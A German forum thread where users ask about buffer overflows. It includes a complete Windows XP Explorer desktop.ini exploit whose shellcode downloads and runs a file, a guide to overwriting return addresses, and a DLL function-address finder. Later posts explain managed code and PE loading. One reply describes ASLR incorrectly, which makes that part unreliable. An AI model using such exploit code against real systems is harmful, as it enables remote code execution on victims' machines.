Buffer/ Stack overflows, Exploits

Hallo zusammen !

Kann mir jemand genau erklären was Stack/ Buffer Overflows sind ?
Ich habe schon in Google gesucht, und irgendwie nicht ganz verstanden.
Was ist der Unterschied zwischen Stack/ BufferOverflow ?

Ich verstehe nicht wie man eigenen Code ausführen könnte
Kann mir jemand ein Beispiel geben. z.b strcpy() ?

Nun zu dem Thema Exploits:

#include <fstream.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
#include <direct.h>

char shellcode[]=
  "\x81\xec\x40\x1f\x00\x00\xe8\x00\x00\x00\x00\x5d\x83\xed\x0b\xbf\x61\x57" 
  "\x7a\x74\xe8\x8c\x00\x00\x00\x89\xbd\x17\x01\x00\x00\xbf\x65\x1d\x22\x74" 
  "\xe8\x7c\x00\x00\x00\x89\xbd\x1b\x01\x00\x00\xbf\x17\x75\x79\x70\xe8\x6c" 
  "\x00\x00\x00\x89\xbd\x1f\x01\x00\x00\x8d\x85\x2c\x01\x00\x00\x50\x2e\xff" 
  "\x95\x17\x01\x00\x00\x8d\x9d\x33\x01\x00\x00\x53\x50\x2e\xff\x95\x1b\x01" 
  "\x00\x00\x6a\x00\x6a\x00\x8d\x8d\x4e\x01\x00\x00\x51\x8d\x8d\x5c\x01\x00" 
  "\x00\x51\x6a\x00\xff\xd0\x8d\x85\x23\x01\x00\x00\x50\x2e\xff\x95\x17\x01" 
  "\x00\x00\x8d\x9d\x46\x01\x00\x00\x53\x50\x2e\x8b\x9d\x1b\x01\x00\x00\xff" 
  "\xd3\x6a\x01\x8d\x8d\x4e\x01\x00\x00\x51\xff\xd0\x6a\x00\x2e\xff\x95\x1f" 
  "\x01\x00\x00\xbb\x3c\x00\x00\x01\x8b\x0b\x81\xc1\x04\x00\x00\x01\x8d\x41" 
  "\x14\x8b\x70\x68\x81\xc6\x00\x00\x00\x01\x8b\x06\x83\xf8\x00\x74\x51\x05" 
  "\x00\x00\x00\x01\x8b\x56\x10\x81\xc2\x00\x00\x00\x01\x8b\x18\x8b\xcb\x81" 
  "\xe1\x00\x00\x00\x80\x83\xf9\x00\x75\x2a\x81\xc3\x00\x00\x00\x01\x83\xc3" 
  "\x02\x33\xc9\x32\x0b\xc1\xc1\x08\x43\x80\x3b\x00\x75\xf5\x3b\xcf\x75\x04" 
  "\x8b\x3a\xeb\x16\x83\xc2\x04\x83\xc0\x04\x66\x83\x38\x00\x75\xc7\x83\xc6" 
  "\x14\x8b\x10\x83\xfa\x00\x74\xa8\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00" 
  "\x00\x00\x00\x4b\x45\x52\x4e\x45\x4c\x33\x32\x00\x55\x52\x4c\x4d\x4f\x4e" 
  "\x00\x55\x52\x4c\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x54\x6f\x46\x69\x6c\x65" 
  "\x41\x00\x57\x69\x6e\x45\x78\x65\x63\x00\x5c\x7e\x57\x52\x46\x35\x36\x33" 
  "\x34\x2e\x74\x6d\x70\x00";

char unicode_header[] = "\xFF\xFE";
char shell_header[] = "[.ShellClassInfo]\x0d\x0a";

#define OVERFLOW_LEN 0xA1C

void main()
{
  char url[]="file://c:/winnt/system32/calc.exe";
 // char url[]="http://localhost/cmd.exe";
  char eip[] = "\xcc\x59\xfb\x77"; //0x77fb59cc - WinXP SP1 ntdll.dll (jmp esp)

  char path[500]; 
  strcpy(path,"domain HELL team");
  mkdir(path);
  SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
  strcat(path,"\\desktop.ini");

  ofstream out(path,ios::out+ios::binary);
  out.write(unicode_header,sizeof(unicode_header)-1);
  char zero = 0;
  for (int i=0;i<strlen(shell_header);i++)
  {
    out.write(&shell_header[i],1);
    out.write(&zero,1);
  }
  char pad = 'B';
  for (i=0;i<OVERFLOW_LEN;i++) out.write(&pad,1);
  char ebp[] = "1234";
  out.write(ebp,4);

  char pad0 = 1;

  out.write(eip,4);

  char pad2 = 'C';
  for (i=0;i<12;i++) out.write(&pad,1);

  out.write(shellcode,sizeof(shellcode)-1);
  out.write(url,sizeof(url));

  int len = sizeof(shellcode)-1+sizeof(url);
  printf("shellcode+url: %d bytes\n",len);
  if (len%2 == 1) 
  {
    printf("it's odd, so add 1 extra byte");
    out.write(&pad2,1);
  }

  out.close();

}

Was bedeuten die Hexazahlen und wie kann das einen Bufferoverflow verursachen?
Ist ein alter Exploit von Explorer.exe unter Windows XP. (Funktioniert nicht mehr)
Wie kommt man auf diese Hexazahlen ?

Gruss Sp0ng3b0b

rüdiger

http://inst.eecs.berkeley.edu/~cs161/fa08/papers/stack_smashing.pdf

Die Hexzahlen sind der http://en.wikipedia.org/wiki/Shellcode

hustbaer

Kann mir jemand genau erklären was Stack/ Buffer Overflows sind ?
Ich habe schon in Google gesucht, und irgendwie nicht ganz verstanden.

Dann musst du das auch nicht verstehen.

hustbaer schrieb:

Kann mir jemand genau erklären was Stack/ Buffer Overflows sind ?
Ich habe schon in Google gesucht, und irgendwie nicht ganz verstanden.

Dann musst du das auch nicht verstehen.

Wenn du es auch nicht verstehst must du es auch keinen Beitrag dazu schreiben !!!!!!!

Gruss Sp0ng3b0b

While*true***

Sp0ng3b0b schrieb:

hustbaer schrieb:

Kann mir jemand genau erklären was Stack/ Buffer Overflows sind ?
Ich habe schon in Google gesucht, und irgendwie nicht ganz verstanden.

Dann musst du das auch nicht verstehen.

Wenn du es auch nicht verstehst must du es auch keinen Beitrag dazu schreiben !!!!!!!

Gruss Sp0ng3b0b

Ich denke er hält dich für ein Skriptkiddie

Das Thema ist so komplex, dass man erstmal mit den Grundlagen vertraut sein sollte, bevorman sich überhaupt an sowas ranwagt.

Ich denke x86-Assembler lernen wäre hier wichtig um es zu verstehen.

Also...

Assembler-Tutorials: http://www.c-plusplus.net/forum/39778

Viel Spaß beim lernen

While(true){} schrieb:

Sp0ng3b0b schrieb:

hustbaer schrieb:

Kann mir jemand genau erklären was Stack/ Buffer Overflows sind ?
Ich habe schon in Google gesucht, und irgendwie nicht ganz verstanden.

Dann musst du das auch nicht verstehen.

Wenn du es auch nicht verstehst must du es auch keinen Beitrag dazu schreiben !!!!!!!

Gruss Sp0ng3b0b

Ich denke er hält dich für ein Skriptkiddie

Das Thema ist so komplex, dass man erstmal mit den Grundlagen vertraut sein sollte, bevorman sich überhaupt an sowas ranwagt.

Ich denke x86-Assembler lernen wäre hier wichtig um es zu verstehen.

Also...

Assembler-Tutorials: http://www.c-plusplus.net/forum/39778

Viel Spaß beim lernen

Wegen Sp0n3b0b ? Ich fands irgendwie witzig

Ich kann ein wenig ATMEL AVR Assembler. (Hab den genauen Microcontroller vergessen)
Die Befehle sind bestimmt ähnlich!?

Werden mir mal trotzdem x86 Assembler anschauen.

@ rüdiger
Danke noch für die Links.

Gruss Sp0ng3b0b

While*true***

Das solltest du vllt. lesen:
http://www.kes.info/archiv/online/01-05-6-overflow.htm

Das erklärt grob worum es geht und dann weißt du ja, was du lernen musst.

Wenn schon Studenten ohne Vorkenntnisse einen Exploit in vier bis sechs Wochen neben den Vorlesungen entwickeln können..

While(true){} schrieb:

Das solltest du vllt. lesen:
http://www.kes.info/archiv/online/01-05-6-overflow.htm

Das erklärt grob worum es geht und dann weißt du ja, was du lernen musst.

Danke, Interessanter Artikel !!!
Verstehe es schon viel besser.

@ fein fein ...
Frage ist was "ohne Vorkenntnisse" bedeutet
Woher wollen die das wissen ob jemand schon Exploits entwickelt hatt .

Gruss Sp0ng3b0b

While*true***

fein fein da stehts schrieb:

Wenn schon Studenten ohne Vorkenntnisse einen Exploit in vier bis sechs Wochen neben den Vorlesungen entwickeln können..

Ist halt ne Top-Seite

DarkShadow44

Hey, ich hätte auch noch ein paar Fragen hierzu, allerdings wollte ich keinen neuen Thread aufmachen

Weil die Overflows (egal ob Stack/Heap) funktionieren ja nicht mehr bei Interpretersprachen wie C#. Also nur bei Sprachen die kompiliert werden. Allerdings gibt es da ja schon genügend Methoden so einen Buffer Overflow zu verhindern, also 'managed code' sollte das doch verhindern, oder ?

Sind diese 'Exploits' also am 'auslaufen', also werden nicht mehr oder nur sehr selten auftreten (im vergleich zu jetzt) ?

Mal ein kurzes Beispiel:

char*b1 = new char[1];
      char*b2 = new char[12];
      sprintf(b2,"test");
      sprintf(b1,"1234567890qwertzuiopüasdfghjklöä#yxcvbnm,.<-1234567890qwertzuiop>||||");
      printf(b2);

Ausgabe:">||||"

Ich dachte, die Daten werden hintereinander gespeichert ? Wo ist der Rest der langen Zeichenkette?

Und um ein exploit für ein programm zu schreiben, muss doch code eingeschleust werden. und wenn der dann z.b. auf eine funktion wie 'printf' zugreifen will, kenn er die adresse von 'printf' doch nicht ?!?

Ich habe hier schon ein sample gefunden, aber das stürzt ab statt den exploit zu 'nutzen'. dabei ist das programm schon kompiliert gewesen

Wäre halt cool so ein (minimalistisches)Programm schreiben zu können, das einen externen exploit laden kann (oder sagt man das andersrum? )

und werden die fremden programme dann immer diassembled und so auf lücken überprüft? weil (mal abgesehen von open source programmen) liegt der source code ja nicht vor. Und die Struktur des Programms muss ja bekannt sein, weil es ja sogar vom compiler abhängig ist.

Und wenn man sogar zwischen verschiedenen assembler-dialekten unterscheidet, welchen schleußt man dann als shellcode ein ?

Hoffe ihr könnt mich da ein bischen weiterbringen, (funktionierende) samples gibts ja so selten
Ich verstehe vor allem noch nicht ganz, wie man bei dieser enormen spezialisierung auf den prozessor (ist doch bei assembler so !?) einen nahezu 'weltweiten' exploit erstellen kann.

Lg,
Dark

Hallo wieso fängst du nicht mit was leichtem an ?

Les dir das hier mal durch.

http://www.zotteljedi.de/stacksmashing/stacksmashing.pdf
http://tuts4you.com/download.php?view.1494

Stack
-------
0012FF80 NOP
0012FF84 SHELLCODE
0012FF88 SHELLCODE
0012FF8C SHELLCODE
0012FF90 12FF80 <-- Adresse wo der Shellcode anfängt normalerweise würde
dort die Adresse stehen um ins Hauptprogramm zurück zu
springen aber es wird zum NOP Befehl gesprungen und danach
der Shellcode ausgeführt.

Du musst halt die Rücksprungen Adresse aus einer Funktion oder halt aus dem Hauptprogramm überschreiben.

Les dir am besten die Sachen durch die ich gepostet habe.

Und bei dem Paper "A Crackers Guide to Buffer Overflow" nicht vergessen die Funktions Adressen aus dem Shellcode um zu ändern die musst du an dein Betriebssystem anpassen.

Für einen Dynamischen Shellcode findest du hier Infos dazu: http://projectshellcode.com/?q=node/12

Aber fang lieber erst mal mit etwas leichtem an dann verstehst du es auch. :xmas2:

Ich hab irgendwann mal ein Programm geschrieben womit du die Funktions Adressen ermitteln kannst.

Kannste dir ja compilieren.

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main()
{
short wiederhole;

HINSTANCE handle;

char dll_name[2000];
char funktions_name[2000];

FARPROC addr;   

do
{
wiederhole = 0;

clrscr();

fflush(stdin);

printf("Namen der DLL Datei eingeben [Bsp. kernel32.dll]: ");
gets(dll_name);

printf("Gesuchten Funktions namen eingeben: ");
gets(funktions_name);

fflush(stdin);

handle = LoadLibrary ( dll_name );

	if ( handle == 0 )
	{       printf("\n");
		printf("Fehler konnte DLL nicht laden die DLL muss im Programm Ordner liegen !");
	}

        addr = GetProcAddress(
                                handle,
                                funktions_name
                             );

        if ( addr != 0 )
        {
                 printf("0x%x \n",addr);

                ret= FreeLibrary ( handle );

                        if ( ret == 0 )
                        {
                           printf("Konnte DLL nicht freigegeben\n");
                        }

                        else

                        {
                           printf("DLL wurde freigegeben\n");
                        }

        }

        else
        {
           printf("\n");
           printf("Die gesuchte Funktion konnte in der DLL Datei nicht gefunden werden ! \n");
        }

        printf("\n");
        printf("Neue Suche ? 1 = Ja , 2 = Nein \n");
        scanf ("%d" , &wiederhole , stdin);

}
while ( wiederhole == 1);

return 0;
}
//---------------------------------------------------------------------------

DarkShadow44

hey, vielen dank
warum finde ich so coole sachen nie über google

Sorry für die dumme Frage, aber sind die Adressen aus z.b. der kernel32.dll wirklich statisch ? Weil im API-hooking muss ich ja auch jeden prozess patchen wenn ich jeden prozess hooken will..
Naja, in deinem link( ) scheint das zu stehen, aber dann ist "A Crackers Guide to Buffer Overflow" wohl nur sehr "einfach" gebaut, oder irre ich mich da jetzt ?

Sind dann Shellcodes die einfachste Möglichkeit oder halt die einzige ?
Und meinst du dass Exploits 'Zukunft' haben oder nicht ?
Ich meine, wenn die C-Funktionen nicht verwendet werden ist es ja gleicht viel sicherer...

Lg,
Dark

hustbaer

DarkShadow44 schrieb:

Sind dann Shellcodes die einfachste Möglichkeit oder halt die einzige ?
Und meinst du dass Exploits 'Zukunft' haben oder nicht ?
Ich meine, wenn die C-Funktionen nicht verwendet werden ist es ja gleicht viel sicherer...

Trinkst du?

knivil

@DarkShadow44: Lass es einfach. Im Internet gibt es genug Quellen. Wenn du sie nicht findest, dann ist das wohl besser so.

DarkShadow44

hustbaer schrieb:

DarkShadow44 schrieb:

Sind dann Shellcodes die einfachste Möglichkeit oder halt die einzige ?
Und meinst du dass Exploits 'Zukunft' haben oder nicht ?
Ich meine, wenn die C-Funktionen nicht verwendet werden ist es ja gleicht viel sicherer...

Trinkst du?

Bitte ??

Schau mal:

C# or C++ code in the .NET framework can be immune to buffer overflows if the code is managed. Managed code is code executed by a .NET virtual machine, such as Microsoft's. Before the code is run, the Intermediate Language is compiled into native code. The managed execution environment’s own runtime-aware complier performs the compilation; therefore the managed execution environment can guarantee what the code is going to do. The Java development language also does not suffer from buffer overflows; as long as native methods or system calls are not invoked, buffer overflows are not an issue. Finally ASP pages are also immune to buffer overflows due to Integer Overflow checks performed by the VBScript interpreter while executing the code.

Quelle

Somit sollten Buffer Overflows eigentlich ziemlich effektiv verhindert werden wenn man 'managed code' einsetzt. Ich wollte doch nur wissen, ob pufferüberläuft auch in zukunft noch problematisch sein werden

Oder auf was war deine aussage bezogen ?

While*true***

DarkShadow44 schrieb:

hustbaer schrieb:

DarkShadow44 schrieb:

Sind dann Shellcodes die einfachste Möglichkeit oder halt die einzige ?
Und meinst du dass Exploits 'Zukunft' haben oder nicht ?
Ich meine, wenn die C-Funktionen nicht verwendet werden ist es ja gleicht viel sicherer...

Trinkst du?

Bitte ??

Naja...
1. Moderne Prozessoren verstehen noch kein Deutsch
2. Es wird immer Schwachstellen geben, also wird es auch immer Exploits geben (Buffer-Overflow-Exploits sind ja nich die einzigen ;))
3. Es kommt eben darauf an, ob man abfragt, wie viel in den Puffer geschrieben wird...
Wenn man aber zum Bsp. die C++-Klasse std::string verwendet, ist ein Buffer-Overflow ausgeschlossen, da der Speicher dynamisch Verwaltet wird.

hustbaer

DarkShadow44 schrieb:

Oder auf was war deine aussage bezogen ?

Hauptsächlich auf die Formulierung der Fragestellung, und die Art und Weise wie du mit Begriffen um dich wirfst die du anscheinend nicht verstehst.

Allein die Frage ob Exploits "Zukunft haben"... alter Schwede!

Und was soll bitte dadurch sicherer werden dass man keine "C-Funktionen" verwendet? - was auch immer du unter "C-Funktionen" verstehst.
Die Funktionen der Standard C Library haben wohl selten bis nie irgendwelche kritischen Bugs, d.h. deren korrekte Verwendung ist kein Problem. Das Problem ist immer nur die falsche Verwendung.

Jetzt schreibst du auf einmal was vonwegen managed Code, nur "C-Funktionen nicht verwenden" != "managed Code". Wenn ich in Assembler programmiere verwende ich auch keine C-Funktionen.

Dann bezeichnest du C# als "Interpretersprache".
Dann behauptest du dass Buffer-Overruns in C# nicht mehr funktionieren. Klar tun sie das:
* du kannst in C# "unsafe" schreiben (ist ein C# Keyword, google es)
* du kannst in C# OS Funktionen aufrufen

Auch hat es nichts damit zu tun ob eine Sprache compiliert wird oder interpretiert wird, ob ein Buffer Overrun funktioniert, sondern nur damit, ob die Sprache sämtliche Speicherzugriffe "checkt" oder eben nicht. Eine compilierte Sprache kann das tun, eine interpretierte kann es lassen - da besteht kein Zusammenhang.

Unsichere Software entsteht nicht wenn ein Programmierer Feature X einer Sprache verwendet (oder nicht verwendet). Unsichere Software entsteht (u.a.), wenn ein Programmierer sich für schlauer hält als er ist. Und natürlich oft weil bewusst auf Sicherheit "verzichtet" wird, z.B. wegen Zeitdruck.

Und ja: C# etc. werden dazu führen dass weniger Buffer-Overruns in Anwendungen zu finden sind. Genau so wie modernes C++ dazu führt dass sowas seltener vorkommt. Weniger heisst aber nicht "keine", und es gibt auch wie gesagt noch (viele) andere Dinge die man falsch machen kann.

Fazit: Da Menschen nicht perfekt sind, und es nie werde werden, wird Software schlecht bleiben. Ad infinitum.

DarkShadow44

Sorry, das war von mir blöd ausgedrückt
Und ich dachte halt, dass C# zu den Interpretern gehört weil es im nicht sofort (vollständig) kompiliert wird.

Noch eine Frage hierzu, ich weiß aber nicht genau ob das dazu passt:
in einem Disassembler werden ja die Adressen der Funktionen und Assemblercode angezeigt.
Sind diese Adressen dann fix ? Weil es sollten ja keine Programme zufällig im selben Speicherbereich arbeiten.
Aber als ich mein Programm öfter gestartet habe (zum test auch auf einer virtuellen Maschine) kamen immer die selben adressen raus. wie verhält sich das ?
Und vor allem, wie werden die festgelegt ?
Die "Address Space Layout Randomisation" ist ja scheinbar erst ab Vista...

Lg,
Dark

hustbaer

DarkShadow44 schrieb:

Und ich dachte halt, dass C# zu den Interpretern gehört weil es im nicht sofort (vollständig) kompiliert wird.

C# wird sofort "vollständig" compiliert. Dabei wird üblicherweise "IL" Code erzeugt. Dieser kann dann "interpretiert" werden, oder nochmals von einem JIT-Compiler in Code übersetzt den der jeweilige Prozessor direkt ausführen kann. Es wird aber nie C# Code direkt interpretiert, daher sagt man üblicherweise nicht dass C#, oder genau so Java "interpretierte" Sprachen wären.
Und wie gesagt: ob eine Sprache klassische Buffer-Overruns verhindert oder nicht, hängt nicht direkt damit zusammen ob sie vollständig compiliert wird oder interpretiert oder ...

in einem Disassembler werden ja die Adressen der Funktionen und Assemblercode angezeigt.
Sind diese Adressen dann fix ? Weil es sollten ja keine Programme zufällig im selben Speicherbereich arbeiten.

Dafür gibt es virtuellen Speicher. Jeder Prozess hat seinen eigenen Adressraum, daher können in verschiedenen Prozessen problemlos Programme laufen die die selben Adressen für unterschiedliche Dinge verwenden.

Aber als ich mein Programm öfter gestartet habe (zum test auch auf einer virtuellen Maschine) kamen immer die selben adressen raus. wie verhält sich das ?
Und vor allem, wie werden die festgelegt ?

Die Adressen in ".exe" Dateien sind üblicherweise fixiert. Festlegen tut sie der Linker. Das Format von ausführbaren Dateien unter Windows ist "Portable Executable", kurz "PE". Und "PE" File enthalten die nötigen Informationen was an welcher Adresse geladen werden soll.
Die Adressen von DLLs sind üblicherweise nicht fix (ausgenommen ein paar wenige System DLLs), d.h. der Code in DLLs kann an beliebige Adressen geladen werden. Dazu sind Informationen in der DLL (eine DLL ist auch ein "PE" File) abgespeichert wo was angepasst werden muss wenn der Code in der DLL "verschoben" wird. Eine DLL hat aber auch eine "preferred load address", wo sie ohne solche Änderungen verwendet werden kann. Das ist auch der Grund warum auch Code in DLLs oft an den gleichen Adressen landet wenn man ein Programm mehrfach ausführt bzw. sogar auf verschiedenen Systemem ausführt.

Nochmal etwas allgemeiner: sowohl .exe Files als auch DLLs sind "Portable Executable" Files. Und ein "PE" File kann sog. "relocation information" haben, also die nötigen Informationen um den darin enthaltenen Code zu verschieben, oder eben auch nicht. Bei .exe Files ist es unüblich, aber grundsätzlich genau so möglich diese Informationen mit abzuspeichern. Bei DLLs dagegen ist es üblich, aber man kann sie auch weg lassen. Wenn man sie allerdings weg lässt, kann es natürlich passieren dass eine DLL nicht geladen werden kann, weil der von der DLL "gefordert" Adressraum bereits mit etwas anderem belegt wird, z.B. eine andere DLL.
Da es aber pro Prozess normalerweise nur eine ".exe" gibt, ist es bei ".exe" Files kein Problem. Die ".exe" wird als erste geladen, und kann sich daher aussuchen welche Adressen sie verwenden möchte.

Die "Address Space Layout Randomisation" ist ja scheinbar erst ab Vista...

"Address Space Layout Randomisation" ist ein Feature für System-DLLs. Wie oben schon angedeutet gibt es ein paar System DLLs deren Adressen "fix" sind, d.h. die nicht "verschoben" werden können. Damit man diese nicht so einfach für Exploits verwenden kann, wurde "Address Space Layout Randomisation" eingeführt. Dabei sind die Adressen dieser System-DLLs immer noch fix für eine bestimmte OS-Installation, nur beim Installieren wird eine von soweit ich weiss 16 (oder waren es 64?) Versionen der System-DLLs zufällig ausgesucht, so dass die Adressen auf unterschiedlichen Systemen nicht mehr gleich sind.

Wenn du mehr zu dem Thema wissen willst solltest du ja jetzt ein paar Stichworte haben, also z.B. das PE Format, virtuelle Adressen etc.